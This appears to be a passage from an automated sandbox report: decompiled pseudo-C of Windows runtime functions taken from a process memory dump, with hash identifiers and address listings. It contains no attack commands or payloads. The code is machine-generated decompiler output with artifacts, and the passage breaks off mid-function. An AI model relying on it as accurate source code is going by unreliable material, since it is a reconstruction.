0x0572384b
0x0572384b
0x05723852
0x00000000
0x05723854
0x05723856
0x00000000
0x00000000
0x05723863
0x00000000
0x05723863
0x0572381a
0x0572381a
0x0572381f
0x0572386e
0x0572386e
0x05723871
0x05723873
0x05723873
0x05723868
0x00000000
0x05723868
0x05723821
0x05723826
0x00000000
0x00000000
0x05723828
0x0572382a
0x05723841
0x00000000
0x05723841

Memory Dump Source

Source File: 00000002.00000002.385435032.00000000056C0000.00000040.00000001.sdmp, Offset: 056C0000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ad2d6059a7f3ee0c02af2fcb0cfb089a3fff30d31c895a9c1c12abdc1859e026
Instruction ID: dd4d342a94c7c9d5d9728f45853744ff72a450fc93208a08e9fb253b02f7184c
Opcode Fuzzy Hash: ad2d6059a7f3ee0c02af2fcb0cfb089a3fff30d31c895a9c1c12abdc1859e026
Instruction Fuzzy Hash: D4012B72A015309BC3378B19D544E36BBF7EF81B50715486DE9058F701DB38C800DBA0

Uniqueness

Uniqueness Score: -1.00%

Function 0571002D, Relevance: .1, Instructions: 55
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0571002D() {
				void* _t11;
				char* _t14;
				signed char* _t16;
				char* _t27;
				signed char* _t29;

				_t11 = E05707D50();
				_t27 = 0x7ffe0384;
				if(_t11 != 0) {
					_t14 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22a;
				} else {
					_t14 = 0x7ffe0384;
				}
				_t29 = 0x7ffe0385;
				if( *_t14 != 0) {
					if(E05707D50() == 0) {
						_t16 = 0x7ffe0385;
					} else {
						_t16 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22b;
					}
					if(( *_t16 & 0x00000040) != 0) {
						goto L18;
					} else {
						goto L3;
					}
				} else {
					L3:
					if(E05707D50() != 0) {
						_t27 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22a;
					}
					if( *_t27 != 0) {
						if(( *( *[fs:0x30] + 0x240) & 0x00000004) == 0) {
							goto L5;
						}
						if(E05707D50() != 0) {
							_t29 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22b;
						}
						if(( *_t29 & 0x00000020) == 0) {
							goto L5;
						}
						L18:
						return 1;
					} else {
						L5:
						return 0;
					}
				}
			}

0x05710032
0x05710037
0x05710043
0x05754b3a
0x05710049
0x05710049
0x05710049
0x0571004e
0x05710053
0x05754b48
0x05754b5a
0x05754b4a
0x05754b53
0x05754b53
0x05754b5f
0x00000000
0x05754b61
0x00000000
0x05754b61
0x05710059
0x05710059
0x05710060
0x05754b6f
0x05754b6f
0x05710069
0x05754b83
0x00000000
0x00000000
0x05754b90
0x05754b9b
0x05754b9b
0x05754ba4
0x00000000
0x00000000
0x05754baa
0x00000000
0x0571006f
0x0571006f
0x00000000
0x0571006f
0x05710069

Memory Dump Source

Source File: 00000002.00000002.385435032.00000000056C0000.00000040.00000001.sdmp, Offset: 056C0000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8d774e958955e2a4888292503cae141afd510c2672050b36ba74763b54e4c63a
Instruction ID: 74ce1e65abdb38a8e3f5d8b0cbd55a79ee80bcc7df238c51e780e32367adf2e3
Opcode Fuzzy Hash: 8d774e958955e2a4888292503cae141afd510c2672050b36ba74763b54e4c63a
Instruction Fuzzy Hash: A8118E72705681CFDB229738C94CB3577E7FB41764F0900A0DD0587692E76AD8C1E264

Uniqueness

Uniqueness Score: -1.00%

Function 056F766D, Relevance: .1, Instructions: 54
COMMON

Download Yara Rule

C-Code - Quality: 94%

			E056F766D(void* __ecx, signed int __edx, signed int _a4, signed int _a8, signed int _a12, intOrPtr* _a16) {
				char _v8;
				void* _t22;
				void* _t24;
				intOrPtr _t29;
				intOrPtr* _t30;
				void* _t42;
				intOrPtr _t47;

				_push(__ecx);
				_t36 =  &_v8;
				if(E0571F3D5( &_v8, __edx * _a4, __edx * _a4 >> 0x20) < 0) {
					L10:
					_t22 = 0;
				} else {
					_t24 = _v8 + __ecx;
					_t42 = _t24;
					if(_t24 < __ecx) {
						goto L10;
					} else {
						if(E0571F3D5( &_v8, _a8 * _a12, _a8 * _a12 >> 0x20) < 0) {
							goto L10;
						} else {
							_t29 = _v8 + _t42;
							if(_t29 < _t42) {
								goto L10;
							} else {
								_t47 = _t29;
								_t30 = _a16;
								if(_t30 != 0) {
									 *_t30 = _t47;
								}
								if(_t47 == 0) {
									goto L10;
								} else {
									_t22 = L05704620(_t36,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 8, _t47);
								}
							}
						}
					}
				}
				return _t22;
			}

0x056f7672
0x056f767f
0x056f7689
0x056f76de
0x056f76de
0x056f768b
0x056f7691
0x056f7693
0x056f7697
0x00000000
0x056f7699
0x056f76a8
0x00000000
0x056f76aa
0x056f76ad
0x056f76b1
0x00000000
0x056f76b3
0x056f76b3
0x056f76b5
0x056f76ba
0x056f76bc
0x056f76bc
0x056f76c0
0x00000000
0x056f76c2
0x056f76ce
0x056f76ce
0x056f76c0
0x056f76b1
0x056f76a8
0x056f7697
0x056f76d9

Memory Dump Source

Source File: 00000002.00000002.385435032.00000000056C0000.00000040.00000001.sdmp, Offset: 056C0000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0f0f9780e106b949b133bc76075252866a2fc865c05abd63e27a9356099b865c
Instruction ID: 9900f43abeeb86f1d3107e72a5c59da0421dbff43de5a4066cfd3f341f5ca028
Opcode Fuzzy Hash: 0f0f9780e106b949b133bc76075252866a2fc865c05abd63e27a9356099b865c
Instruction Fuzzy Hash: 7E018432B00519ABC721DE5ECD45E5B77AEEB84660B240524FE09CB294DA30DD41D7A4

Uniqueness

Uniqueness Score: -1.00%

Function 0577C450, Relevance: .1, Instructions: 53
COMMON

Download Yara Rule

C-Code - Quality: 46%

			E0577C450(intOrPtr* _a4) {
				signed char _t25;
				intOrPtr* _t26;
				intOrPtr* _t27;

				_t26 = _a4;
				_t25 =  *(_t26 + 0x10);
				if((_t25 & 0x00000003) != 1) {
					_push(0);
					_push(0);
					_push(0);
					_push( *((intOrPtr*)(_t26 + 8)));
					_push(0);
					_push( *_t26);
					E05729910();
					_t25 =  *(_t26 + 0x10);
				}
				if((_t25 & 0x00000001) != 0) {
					_push(4);
					_t7 = _t26 + 4; // 0x4
					_t27 = _t7;
					_push(_t27);
					_push(5);
					_push(0xfffffffe);
					E057295B0();
					if( *_t27 != 0) {
						_push( *_t27);
						E057295D0();
					}
				}
				_t8 = _t26 + 0x14; // 0x14
				if( *((intOrPtr*)(_t26 + 8)) != _t8) {
					L057077F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0,  *((intOrPtr*)(_t26 + 8)));
				}
				_push( *_t26);
				E057295D0();
				return L057077F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t26);
			}

0x0577c458
0x0577c45d
0x0577c466
0x0577c468
0x0577c469
0x0577c46a
0x0577c46b
0x0577c46e
0x0577c46f
0x0577c471
0x0577c476
0x0577c476
0x0577c47c
0x0577c47e
0x0577c480
0x0577c480
0x0577c483
0x0577c484
0x0577c486
0x0577c488
0x0577c48f
0x0577c491
0x0577c493
0x0577c493
0x0577c48f
0x0577c498
0x0577c49e
0x0577c4ad
0x0577c4ad
0x0577c4b2
0x0577c4b4
0x0577c4cd

Memory Dump Source

Source File: 00000002.00000002.385435032.00000000056C0000.00000040.00000001.sdmp, Offset: 056C0000, based on PE: true

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: efb8dbafbc21be99c6828cd6b94329c97088fdc8e1727ade4875afce538aa955
Instruction ID: 4b470a4c6544ea121f79fc1d3797be2984aa5ebf2c7c9086bbb16276651bbbad
Opcode Fuzzy Hash: efb8dbafbc21be99c6828cd6b94329c97088fdc8e1727ade4875afce538aa955
Instruction Fuzzy Hash: 77019272240519BFDB26AF66CC88E62FB6DFF54390F044529F254425A0CB21ACA0EBA0

Uniqueness

Uniqueness Score: -1.00%

Function 056E9080, Relevance: .1, Instructions: 53
COMMON

Download Yara Rule

C-Code - Quality: 69%

			E056E9080(void* __ebx, intOrPtr* __ecx, void* __edi, void* __esi) {
				intOrPtr* _t51;
				intOrPtr _t59;
				signed int _t64;
				signed int _t67;
				signed int* _t71;
				signed int _t74;
				signed int _t77;
				signed int _t82;
				intOrPtr* _t84;
				void* _t85;
				intOrPtr* _t87;
				void* _t94;
				signed int _t95;
				intOrPtr* _t97;
				signed int _t99;
				signed int _t102;
				void* _t104;

				_push(__ebx);
				_push(__esi);
				_push(__edi);
				_t97 = __ecx;
				_t102 =  *(__ecx + 0x14);
				if((_t102 & 0x02ffffff) == 0x2000000) {
					_t102 = _t102 | 0x000007d0;
				}
				_t48 =  *[fs:0x30];
				if( *((intOrPtr*)( *[fs:0x30] + 0x64)) == 1) {
					_t102 = _t102 & 0xff000000;
				}
				_t80 = 0x57d85ec;
				E05702280(_t48, 0x57d85ec);
				_t51 =  *_t97 + 8;
				if( *_t51 != 0) {
					L6:
					return E056FFFB0(_t80, _t97, _t80);
				} else {
					 *(_t97 + 0x14) = _t102;
					_t84 =  *0x57d538c; // 0x77f06848
					if( *_t84 != 0x57d5388) {
						_t85 = 3;
						asm("int 0x29");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						_push(0x2c);
						_push(0x57bf6e8);
						E0573D0E8(0x57d85ec, _t97, _t102);
						 *((char*)(_t104 - 0x1d)) = 0;
						_t99 =  *(_t104 + 8);
						__eflags = _t99;
						if(_t99 == 0) {
							L13:
							__eflags =  *((char*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0x28));
							if(__eflags == 0) {
								E057B88F5(_t80, _t85, 0x57d5388, _t99, _t102, __eflags);
							}
						} else {
							__eflags = _t99 -  *0x57d86c0; // 0x52807b0
							if(__eflags == 0) {
								goto L13;
							} else {
								__eflags = _t99 -  *0x57d86b8; // 0x0
								if(__eflags == 0) {
									goto L13;
								} else {
									_t59 =  *((intOrPtr*)( *[fs:0x30] + 0xc));
									__eflags =  *((char*)(_t59 + 0x28));
									if( *((char*)(_t59 + 0x28)) == 0) {
										E05702280(_t99 + 0xe0, _t99 + 0xe0);
										 *(_t104 - 4) =  *(_t104 - 4) & 0x00000000;
										__eflags =  *((char*)(_t99 + 0xe5));
										if(__eflags != 0) {
											E057B88F5(0x57d85ec, _t85, 0x57d5388, _t99, _t102, __eflags);
										} else {
											__eflags =  *((char*)(_t99 + 0xe4));
											if( *((char*)(_t99 + 0xe4)) == 0) {
												 *((char*)(_t99 + 0xe4)) = 1;
												_push(_t99);
												_push( *((intOrPtr*)(_t99 + 0x24)));
												E0572AFD0();
											}
											while(1) {
												_t71 = _t99 + 8;
												 *(_t104 - 0x2c) = _t71;
												_t80 =  *_t71;
												_t95 = _t71[1];
												 *(_t104 - 0x28) = _t80;
												 *(_t104 - 0x24) = _t95;
												while(1) {
													L19:
													__eflags = _t95;
													if(_t95 == 0) {
														break;
													}
													_t102 = _t80;
													 *(_t104 - 0x30) = _t95;
													 *(_t104 - 0x24) = _t95 - 1;
													asm("lock cmpxchg8b [edi]");
													_t80 = _t102;
													 *(_t104 - 0x28) = _t80;
													 *(_t104 - 0x24) = _t95;
													__eflags = _t80 - _t102;
													_t99 =  *(_t104 + 8);
													if(_t80 != _t102) {
														continue;
													} else {
														__eflags = _t95 -  *(_t104 - 0x30);
														if(_t95 !=  *(_t104 - 0x30)) {
															continue;
														} else {
															__eflags = _t95;
															if(_t95 != 0) {
																_t74 = 0;
																 *(_t104 - 0x34) = 0;
																_t102 = 0;
																__eflags = 0;
																while(1) {
																	 *(_t104 - 0x3c) = _t102;
																	__eflags = _t102 - 3;
																	if(_t102 >= 3) {
																		break;
																	}
																	__eflags = _t74;
																	if(_t74 != 0) {
																		L49:
																		_t102 =  *_t74;
																		__eflags = _t102;
																		if(_t102 != 0) {
																			_t102 =  *(_t102 + 4);
																			__eflags = _t102;
																			if(_t102 != 0) {
																				 *0x57db1e0(_t74, _t99);
																				 *_t102();
																			}
																		}
																		do {
																			_t71 = _t99 + 8;
																			 *(_t104 - 0x2c) = _t71;
																			_t80 =  *_t71;
																			_t95 = _t71[1];
																			 *(_t104 - 0x28) = _t80;
																			 *(_t104 - 0x24) = _t95;
																			goto L19;
																		} while (_t74 == 0);
																		goto L49;
																	} else {
																		_t82 = 0;
																		__eflags = 0;
																		while(1) {
																			 *(_t104 - 0x38) = _t82;
																			__eflags = _t82 -  *0x57d84c0;
																			if(_t82 >=  *0x57d84c0) {
																				break;
																			}
																			__eflags = _t74;
																			if(_t74 == 0) {
																				_t77 = E057B9063(_t82 * 0xc +  *((intOrPtr*)(_t99 + 0x10 + _t102 * 4)), _t95, _t99);
																				__eflags = _t77;
																				if(_t77 == 0) {
																					_t74 = 0;
																					__eflags = 0;
																				} else {
																					_t74 = _t77 + 0xfffffff4;
																				}
																				 *(_t104 - 0x34) = _t74;
																				_t82 = _t82 + 1;
																				continue;
																			}
																			break;
																		}
																		_t102 = _t102 + 1;
																		continue;
																	}
																	goto L20;
																}
																__eflags = _t74;
															}
														}
													}
													break;
												}
												L20:
												 *((intOrPtr*)(_t99 + 0xf4)) =  *((intOrPtr*)(_t104 + 4));
												 *((char*)(_t99 + 0xe5)) = 1;
												 *((char*)(_t104 - 0x1d)) = 1;
												goto L21;
											}
										}
										L21:
										 *(_t104 - 4) = 0xfffffffe;
										E056E922A(_t99);
										_t64 = E05707D50();
										__eflags = _t64;
										if(_t64 != 0) {
											_t67 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22c;
										} else {
											_t67 = 0x7ffe0386;
										}
										__eflags =  *_t67;
										if( *_t67 != 0) {
											_t67 = E057B8B58(_t99);
										}
										__eflags =  *((char*)(_t104 - 0x1d));
										if( *((char*)(_t104 - 0x1d)) != 0) {
											__eflags = _t99 -  *0x57d86c0; // 0x52807b0
											if(__eflags != 0) {
												__eflags = _t99 -  *0x57d86b8; // 0x0
												if(__eflags == 0) {
													_t94 = 0x57d86bc;
													_t87 = 0x57d86b8;
													goto L27;
												} else {
													__eflags = _t67 | 0xffffffff;
													asm("lock xadd [edi], eax");
													if(__eflags == 0) {
														E056E9240(_t80, _t99, _t99, _t102, __eflags);
													}
												}
											} else {
												_t94 = 0x57d86c4;
												_t87 = 0x57d86c0;
												L27:
												E05719B82(_t80, _t87, _t94, _t99, _t102, __eflags);
											}
										}
									} else {
										goto L13;
									}
								}
							}
						}
						return E0573D130(_t80, _t99, _t102);
					} else {
						 *_t51 = 0x57d5388;
						 *((intOrPtr*)(_t51 + 4)) = _t84;
						 *_t84 = _t51;
						 *0x57d538c = _t51;
						goto L6;
					}
				}
			}

0x056e9082
0x056e9083
0x056e9084
0x056e9085
0x056e9087
0x056e9096
0x056e9098
0x056e9098
0x056e909e
0x056e90a8
0x056e90e7
0x056e90e7
0x056e90aa
0x056e90b0
0x056e90b7
0x056e90bd
0x056e90dd
0x056e90e6
0x056e90bf
0x056e90bf
0x056e90c7
0x056e90cf
0x056e90f1
0x056e90f2
0x056e90f4
0x056e90f5
0x056e90f6
0x056e90f7
0x056e90f8
0x056e90f9
0x056e90fa
0x056e90fb
0x056e90fc
0x056e90fd
0x056e90fe
0x056e90ff
0x056e9100
0x056e9102
0x056e9107
0x056e910c
0x056e9110
0x056e9113
0x056e9115
0x056e9136
0x056e913f
0x056e9143
0x057437e4
0x057437e4
0x056e9117
0x056e9117
0x056e911d
0x00000000
0x056e911f
0x056e911f
0x056e9125
0x00000000
0x056e9127
0x056e912d
0x056e9130
0x056e9134
0x056e9158
0x056e915d
0x056e9161
0x056e9168
0x05743715
0x056e916e
0x056e916e
0x056e9175
0x056e9177
0x056e917e
0x056e917f
0x056e9182
0x056e9182
0x056e9187
0x056e9187
0x056e918a
0x056e918d
0x056e918f
0x056e9192
0x056e9195
0x056e9198
0x056e9198
0x056e9198
0x056e919a
0x00000000
0x00000000
0x0574371f
0x05743721
0x05743727
0x0574372f
0x05743733
0x05743735
0x05743738
0x0574373b
0x0574373d
0x05743740
0x00000000
0x05743746
0x05743746
0x05743749
0x00000000
0x0574374f
0x0574374f
0x05743751
0x05743757
0x05743759
0x0574375c
0x0574375c
0x0574375e
0x0574375e
0x05743761
0x05743764
0x00000000
0x00000000
0x05743766
0x05743768
0x057437a3
0x057437a3
0x057437a5
0x057437a7
0x057437ad
0x057437b0
0x057437b2
0x057437bc
0x057437c2
0x057437c2
0x057437b2
0x056e9187
0x056e9187
0x056e918a
0x056e918d
0x056e918f
0x056e9192
0x056e9195
0x00000000
0x056e9195
0x00000000
0x0574376a
0x0574376a
0x0574376a
0x0574376c
0x0574376c
0x0574376f
0x05743775
0x00000000
0x00000000
0x05743777
0x05743779
0x05743782
0x05743787
0x05743789
0x05743790
0x05743790
0x0574378b
0x0574378b
0x0574378b
0x05743792
0x05743795
0x00000000
0x05743795
0x00000000
0x05743779
0x05743798
0x00000000
0x05743798
0x00000000
0x05743768
0x0574379b
0x0574379b
0x05743751
0x05743749
0x00000000
0x05743740
0x056e91a0
0x056e91a3
0x056e91a9
0x056e91b0
0x00000000
0x056e91b0
0x056e9187
0x056e91b4
0x056e91b4
0x056e91bb
0x056e91c0
0x056e91c5
0x056e91c7
0x057437da
0x056e91cd
0x056e91cd
0x056e91cd
0x056e91d2
0x056e91d5
0x056e9239
0x056e9239
0x056e91d7
0x056e91db
0x056e91e1
0x056e91e7
0x056e91fd
0x056e9203
0x056e921e
0x056e9223
0x00000000
0x056e9205
0x056e9205
0x056e9208
0x056e920c
0x056e9214
0x056e9214
0x056e920c
0x056e91e9
0x056e91e9
0x056e91ee
0x056e91f3
0x056e91f3
0x056e91f3
0x056e91e7
0x00000000
0x00000000
0x00000000
0x056e9134
0x056e9125
0x056e911d
0x056e914e
0x056e90d1
0x056e90d1
0x056e90d3
0x056e90d6
0x056e90d8
0x00000000
0x056e90d8
0x056e90cf

Memory Dump Source

Source File: 00000002.00000002.385435032.00000000056C0000.00000040.00000001.sdmp, Offset: 056C0000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1368b8237be3e42b8015473588fc125eb427ef5282eece1331690f5e33058c9e
Instruction ID: 8e801ced783a2342f3ccf6c968f45b2807a04b38094e33c5c8377c9b14d9f1ca
Opcode Fuzzy Hash: 1368b8237be3e42b8015473588fc125eb427ef5282eece1331690f5e33058c9e
Instruction Fuzzy Hash: 3C01A4726136049FC7169F18D844B21BBFAFF85324F65806AF5058BB91C774DC41CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 057B4015, Relevance: .0, Instructions: 49
COMMON

Download Yara Rule

C-Code - Quality: 86%

			E057B4015(signed int __eax, signed int __ecx) {
				void* __ebx;
				void* __edi;
				signed char _t10;
				signed int _t28;

				_push(__ecx);
				_t28 = __ecx;
				asm("lock xadd [edi+0x24], eax");
				_t10 = (__eax | 0xffffffff) - 1;
				if(_t10 == 0) {
					_t1 = _t28 + 0x1c; // 0x1e
					E05702280(_t10, _t1);
					 *((intOrPtr*)(_t28 + 0x20)) =  *((intOrPtr*)( *[fs:0x18] + 0x24));
					E05702280( *((intOrPtr*)( *[fs:0x18] + 0x24)), 0x57d86ac);
					E056EF900(0x57d86d4, _t28);
					E056FFFB0(0x57d86ac, _t28, 0x57d86ac);
					 *((intOrPtr*)(_t28 + 0x20)) = 0;
					E056FFFB0(0, _t28, _t1);
					_t18 =  *((intOrPtr*)(_t28 + 0x94));
					if( *((intOrPtr*)(_t28 + 0x94)) != 0) {
						L057077F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t18);
					}
					_t10 = L057077F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t28);
				}
				return _t10;
			}

0x057b401a
0x057b401e
0x057b4023
0x057b4028
0x057b4029
0x057b402b
0x057b402f
0x057b4043
0x057b4046
0x057b4051
0x057b4057
0x057b405f
0x057b4062
0x057b4067
0x057b406f
0x057b407c
0x057b407c
0x057b408c
0x057b408c
0x057b4097

Memory Dump Source

Source File: 00000002.00000002.385435032.00000000056C0000.00000040.00000001.sdmp, Offset: 056C0000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fdfff099219640240daf5cb3bc26b6e8bd4196e74176463556669aa10c8e1d1a
Instruction ID: ec4ae17a216bbda72f93be2feb87ff6e00bfc85f744b8cff079fb9c3d1485b85
Opcode Fuzzy Hash: fdfff099219640240daf5cb3bc26b6e8bd4196e74176463556669aa10c8e1d1a
Instruction Fuzzy Hash: C2018F72702945BFD611AF69CD88E63F7EDFB45660B000229B60887A52DB64EC11D7E4

Uniqueness

Uniqueness Score: -1.00%

Function 057A14FB, Relevance: .0, Instructions: 48
COMMON

Download Yara Rule

C-Code - Quality: 61%

			E057A14FB(intOrPtr __ebx, intOrPtr __ecx, intOrPtr __edx, intOrPtr _a4, intOrPtr _a8) {
				signed int _v8;
				intOrPtr _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				intOrPtr _v28;
				short _v54;
				char _v60;
				void* __edi;
				void* __esi;
				signed char* _t21;
				intOrPtr _t27;
				intOrPtr _t33;
				intOrPtr _t34;
				signed int _t35;

				_t32 = __edx;
				_t27 = __ebx;
				_v8 =  *0x57dd360 ^ _t35;
				_t33 = __edx;
				_t34 = __ecx;
				E0572FA60( &_v60, 0, 0x30);
				_v20 = _a4;
				_v16 = _a8;
				_v28 = _t34;
				_v24 = _t33;
				_v54 = 0x1034;
				if(E05707D50() == 0) {
					_t21 = 0x7ffe0388;
				} else {
					_t21 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22e;
				}
				_push( &_v60);
				_push(0x10);
				_push(0x20402);
				_push( *_t21 & 0x000000ff);
				return E0572B640(E05729AE0(), _t27, _v8 ^ _t35, _t32, _t33, _t34);
			}

0x057a14fb
0x057a14fb
0x057a150a
0x057a1514
0x057a1519
0x057a151b
0x057a1526
0x057a152c
0x057a1534
0x057a1537
0x057a153a
0x057a1545
0x057a1557
0x057a1547
0x057a1550
0x057a1550
0x057a1562
0x057a1563
0x057a1565
0x057a156a
0x057a157f

Memory Dump Source

Source File: 00000002.00000002.385435032.00000000056C0000.00000040.00000001.sdmp, Offset: 056C0000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 69784c9ad3820f86c2f50cdd05dbe116bb6a1591278607622d1434a74875dcff
Instruction ID: 3f29ebbc82c78fa6d428b0c7071edb474f85748d30436a023a57b7e5269b90d2
Opcode Fuzzy Hash: 69784c9ad3820f86c2f50cdd05dbe116bb6a1591278607622d1434a74875dcff
Instruction Fuzzy Hash: 7501B571A01258EFDB14DFA9D84AEAEBBB8EF45710F404066F905EB380DA70DA00DB94

Uniqueness

Uniqueness Score: -1.00%

Function 057A138A, Relevance: .0, Instructions: 48
COMMON

Download Yara Rule

C-Code - Quality: 61%

			E057A138A(intOrPtr __ebx, intOrPtr __ecx, intOrPtr __edx, intOrPtr _a4, intOrPtr _a8) {
				signed int _v8;
				intOrPtr _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				intOrPtr _v28;
				short _v54;
				char _v60;
				void* __edi;
				void* __esi;
				signed char* _t21;
				intOrPtr _t27;
				intOrPtr _t33;
				intOrPtr _t34;
				signed int _t35;

				_t32 = __edx;
				_t27 = __ebx;
				_v8 =  *0x57dd360 ^ _t35;
				_t33 = __edx;
				_t34 = __ecx;
				E0572FA60( &_v60, 0, 0x30);
				_v20 = _a4;
				_v16 = _a8;
				_v28 = _t34;
				_v24 = _t33;
				_v54 = 0x1033;
				if(E05707D50() == 0) {
					_t21 = 0x7ffe0388;
				} else {
					_t21 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22e;
				}
				_push( &_v60);
				_push(0x10);
				_push(0x20402);
				_push( *_t21 & 0x000000ff);
				return E0572B640(E05729AE0(), _t27, _v8 ^ _t35, _t32, _t33, _t34);
			}

0x057a138a
0x057a138a
0x057a1399
0x057a13a3
0x057a13a8
0x057a13aa
0x057a13b5
0x057a13bb
0x057a13c3
0x057a13c6
0x057a13c9
0x057a13d4
0x057a13e6
0x057a13d6
0x057a13df
0x057a13df
0x057a13f1
0x057a13f2
0x057a13f4
0x057a13f9
0x057a140e

Memory Dump Source

Source File: 00000002.00000002.385435032.00000000056C0000.00000040.00000001.sdmp, Offset: 056C0000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 70e92ea5a65a2088f4aeb328e2940af8f0f954b54fb1fabd109530f4bccadfe2
Instruction ID: 6d0cb58bbd392b34afea425a73a5267f255d589a73948015bc557adf43399709
Opcode Fuzzy Hash: 70e92ea5a65a2088f4aeb328e2940af8f0f954b54fb1fabd109530f4bccadfe2
Instruction Fuzzy Hash: FF019271E00218EFDB14DFA9D84AEAEBBF8EF44710F404066F904EB280DA709A01D790

Uniqueness

Uniqueness Score: -1.00%

Function 056E58EC, Relevance: .0, Instructions: 47
COMMON

Download Yara Rule

C-Code - Quality: 91%

			E056E58EC(intOrPtr __ecx) {
				signed int _v8;
				char _v28;
				char _v44;
				char _v76;
				void* __edi;
				void* __esi;
				intOrPtr _t10;
				intOrPtr _t16;
				intOrPtr _t17;
				intOrPtr _t27;
				intOrPtr _t28;
				signed int _t29;

				_v8 =  *0x57dd360 ^ _t29;
				_t10 =  *[fs:0x30];
				_t27 = __ecx;
				if(_t10 == 0) {
					L6:
					_t28 = 0x56c5c80;
				} else {
					_t16 =  *((intOrPtr*)(_t10 + 0x10));
					if(_t16 == 0) {
						goto L6;
					} else {
						_t28 =  *((intOrPtr*)(_t16 + 0x3c));
					}
				}
				if(E056E5943() != 0 &&  *0x57d5320 > 5) {
					E05767B5E( &_v44, _t27);
					_t22 =  &_v28;
					E05767B5E( &_v28, _t28);
					_t11 = E05767B9C(0x57d5320, 0x56cbf15,  &_v28, _t22, 4,  &_v76);
				}
				return E0572B640(_t11, _t17, _v8 ^ _t29, 0x56cbf15, _t27, _t28);
			}

0x056e58fb
0x056e58fe
0x056e5906
0x056e590a
0x056e593c
0x056e593c
0x056e590c
0x056e590c
0x056e5911
0x00000000
0x056e5913
0x056e5913
0x056e5913
0x056e5911
0x056e591d
0x05741035
0x0574103c
0x0574103f
0x05741056
0x05741056
0x056e593b

Memory Dump Source

Source File: 00000002.00000002.385435032.00000000056C0000.00000040.00000001.sdmp, Offset: 056C0000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d6ce56ea63e99c064c8a1988ed8300b78aa05215a141dfdf974787aff93edfaf
Instruction ID: a54a509d65befeb49636a368fb512adc9f3628f4ac6d1d3a68b16e4d2a2bd8b1
Opcode Fuzzy Hash: d6ce56ea63e99c064c8a1988ed8300b78aa05215a141dfdf974787aff93edfaf
Instruction Fuzzy Hash: FE01F231B021089BC714EE28D809AFE77B8EF50178F8540A9AD0B97740DE30ED02DA90

Uniqueness

Uniqueness Score: -1.00%

Function 057B1074, Relevance: .0, Instructions: 46
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E057B1074(void* __ebx, signed int* __ecx, char __edx, void* __edi, intOrPtr _a4) {
				char _v8;
				void* _v11;
				unsigned int _v12;
				void* _v15;
				void* __esi;
				void* __ebp;
				char* _t16;
				signed int* _t35;

				_t22 = __ebx;
				_t35 = __ecx;
				_v8 = __edx;
				_t13 =  !( *__ecx) + 1;
				_v12 =  !( *__ecx) + 1;
				if(_a4 != 0) {
					E057B165E(__ebx, 0x57d8ae4, (__edx -  *0x57d8b04 >> 0x14) + (__edx -  *0x57d8b04 >> 0x14), __edi, __ecx, (__edx -  *0x57d8b04 >> 0x14) + (__edx -  *0x57d8b04 >> 0x14), (_t13 >> 0x14) + (_t13 >> 0x14));
				}
				E057AAFDE( &_v8,  &_v12, 0x8000,  *((intOrPtr*)(_t35 + 0x34)),  *((intOrPtr*)(_t35 + 0x38)));
				if(E05707D50() == 0) {
					_t16 = 0x7ffe0388;
				} else {
					_t16 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22e;
				}
				if( *_t16 != 0) {
					_t16 = E0579FE3F(_t22, _t35, _v8, _v12);
				}
				return _t16;
			}

0x057b1074
0x057b1080
0x057b1082
0x057b108a
0x057b108f
0x057b1093
0x057b10ab
0x057b10ab
0x057b10c3
0x057b10cf
0x057b10e1
0x057b10d1
0x057b10da
0x057b10da
0x057b10e9
0x057b10f5
0x057b10f5
0x057b10fe

Memory Dump Source

Source File: 00000002.00000002.385435032.00000000056C0000.00000040.00000001.sdmp, Offset: 056C0000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5b3588f810ea90efa8b709a28d9d6b78afa36bd7b348459cc3852d691b8ccdfd
Instruction ID: dfcf4da2e8c715189458500c98a4e46b7fbaf0471670f904b36204fca876caa7
Opcode Fuzzy Hash: 5b3588f810ea90efa8b709a28d9d6b78afa36bd7b348459cc3852d691b8ccdfd
Instruction Fuzzy Hash: 0A0124726087459BD715EF28C848B5AB7E5BBC4314F44C629F88683290EEB0D841EBA2

Uniqueness

Uniqueness Score: -1.00%

Function 056FB02A, Relevance: .0, Instructions: 46
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E056FB02A(intOrPtr __ecx, signed short* __edx, short _a4) {
				signed char _t11;
				signed char* _t12;
				intOrPtr _t24;
				signed short* _t25;

				_t25 = __edx;
				_t24 = __ecx;
				_t11 = ( *[fs:0x30])[0x50];
				if(_t11 != 0) {
					if( *_t11 == 0) {
						goto L1;
					}
					_t12 = ( *[fs:0x30])[0x50] + 0x22a;
					L2:
					if( *_t12 != 0) {
						_t12 =  *[fs:0x30];
